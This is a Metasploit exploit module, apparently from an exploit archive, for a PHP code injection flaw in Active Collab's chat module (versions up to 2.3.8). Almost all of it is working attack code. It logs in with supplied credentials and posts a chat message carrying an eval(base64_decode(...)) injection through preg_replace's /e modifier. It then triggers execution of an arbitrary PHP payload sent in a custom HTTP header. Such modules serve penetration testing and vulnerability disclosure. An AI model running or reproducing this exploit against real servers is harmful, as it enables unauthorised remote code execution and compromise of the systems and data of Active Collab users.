Active Collab 'chat module' <= 2.3.8 - Remote PHP Code Injection Exploit



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => 'Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit',
            'Description'    => %q{
                This module exploits an arbitrary code injection vulnerability in the chat module 
                that is part of Active Collab by abusing a preg_replace() using the /e modifier and
                its replacement string using double quotes. The vulnerable function can be found in 
                activecollab/application/modules/chat/functions/html_to_text.php.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'mr_me <steventhomasseeley[at]gmail.com>',  # vuln discovery & msf module
                ],
            'References'     =>
                [
                    ['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Keys'        => ['php'],
                    'Space'       => 4000,
                    'DisableNops' => true,
                },
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        => [['Automatic',{}]],
            'DisclosureDate' => 'May 30 2012',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]),
                OptString.new('USER',[true, "The username (e-mail) to authenticate with"]),
                OptString.new('PASS',[true, "The password to authenticate with"])
            ],self.class)
    end

    def check

        login_path = "public/index.php?path_info=login&re_route=homepage"
        uri = datastore['URI']
        uri += (datastore['URI'][-1, 1] == "/") ? login_path : "/#{login_path}"

        cms = send_request_raw({'uri' => uri}, 25)

        uri = datastore['URI']
        uri += (datastore['URI'][-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'

        chat = send_request_raw({'uri' => uri}, 25)

        # cant detect the version here
        if (cms and cms.body =~ /powered by activeCollab/)
            # detect the chat module
            if (chat and chat.code == 200)
                return Exploit::CheckCode::Vulnerable
            end
        end
        return Exploit::CheckCode::Safe
    end

    def exploit
        user = datastore['USER']
        pass = datastore['PASS']
        p = Rex::Text.encode_base64(payload.encoded)
        header = rand_text_alpha_upper(3)
        login_uri = datastore['URI']
        login_uri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'

        # login
        res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => login_uri,
            'vars_post' =>
                {
                    'login[email]'      => user,
                    'login[password]'   => pass,
                    'submitted'         => "submitted",
                }
            }, 40)

        # response handling
        if res.code == 302
            if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/)
                acsession = $1
            end
        elsif res.body =~ /Failed to log you in/
            print_error("Could not login to the target application, check your credentials")
        elsif res.code != 200 or res.code != 302
            print_error("Server returned a failed status code: (#{res.code})")
        end

        # injection
        iuri = datastore['URI']
        iuri += (datastore['URI'][-1, 1] == "/") ? 'index.php' : '/index.php'
        iuri << "?path_info=chat/add_message&async=1" 
        phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"
        injection = "<th>\");#{phpkode}</th>"
        cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"
        res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => iuri,
            'headers' =>
                {
                    'cookie'  => cookies
                },
            'vars_post' =>
                {
                    'submitted'                  => "submitted",
                    'message[message_text]'      => injection,
                    'message[chat_id]'           => "1",
                    'message[posted_to_user_id]' => "all"
                }
        }, 25)

        euri = datastore['URI']
        euri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php' : '/public/index.php'
        euri << "?path_info=/chat/history/1" 

        # execution
        res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => euri,
            'headers' =>
                {
                    header    => p,
                    'cookie'  => cookies
                }
        })
    end
end